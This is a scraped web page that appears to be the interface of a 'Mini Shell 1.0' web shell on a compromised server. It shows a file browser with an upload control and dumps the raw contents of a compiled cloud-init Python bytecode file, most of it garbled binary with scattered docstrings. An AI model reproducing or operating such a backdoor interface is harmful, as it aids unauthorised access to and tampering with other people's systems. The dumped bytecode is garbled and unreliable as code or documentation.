HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/reporting/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/reporting/__pycache__/__init__.cpython-311.pyc
�

܍~c(��t�dZddlmZddlmZddlmZmZdddiiZd�Z	d	�Z
e��Ze	e��d
S)z�
cloud-init reporting framework

The reporting framework is intended to allow all parts of cloud-init to
report events in a structured manner.
�)�Type)�DictRegistry)�HandlerType�available_handlers�logging�type�logc�d�|���D]�\}}|st�|d����$|���}tj|�d��}t�|��|di|��}t�||����dS)z�Update the instantiated_handler_registry.

    :param config:
        The dictionary containing changes to apply.  If a key is given
        with a False-ish value, the registered handler matching that name
        will be unregistered.
    T)�forcerN�)�items�instantiated_handler_registry�unregister_item�copyr�registered_items�pop�
register_item)�config�handler_name�handler_config�cls�instances     �>/usr/lib/python3/dist-packages/cloudinit/reporting/__init__.py�update_configurationrs���)/�����L�L�$��n��	�)�9�9��D�
:�
�
�
�
�'�,�,�.�.��!3�!D����v�&�&�"
��	&�5�5�l�C�C�C��3�(�(��(�(��%�3�3�L�(�K�K�K�K�L�L�c�p�tj���D]}|����dS)N)rr�values�flush)�handlers r�flush_eventsr -s9��0�A�H�H�J�J�����
�
������rN)�__doc__�typingr�cloudinit.registryr�cloudinit.reporting.handlersrr�DEFAULT_CONFIGrr rrrr�<module>r&s���
��������+�+�+�+�+�+�H�H�H�H�H�H�H�H�������
L�L�L�.���!-�������^�$�$�$�$�$r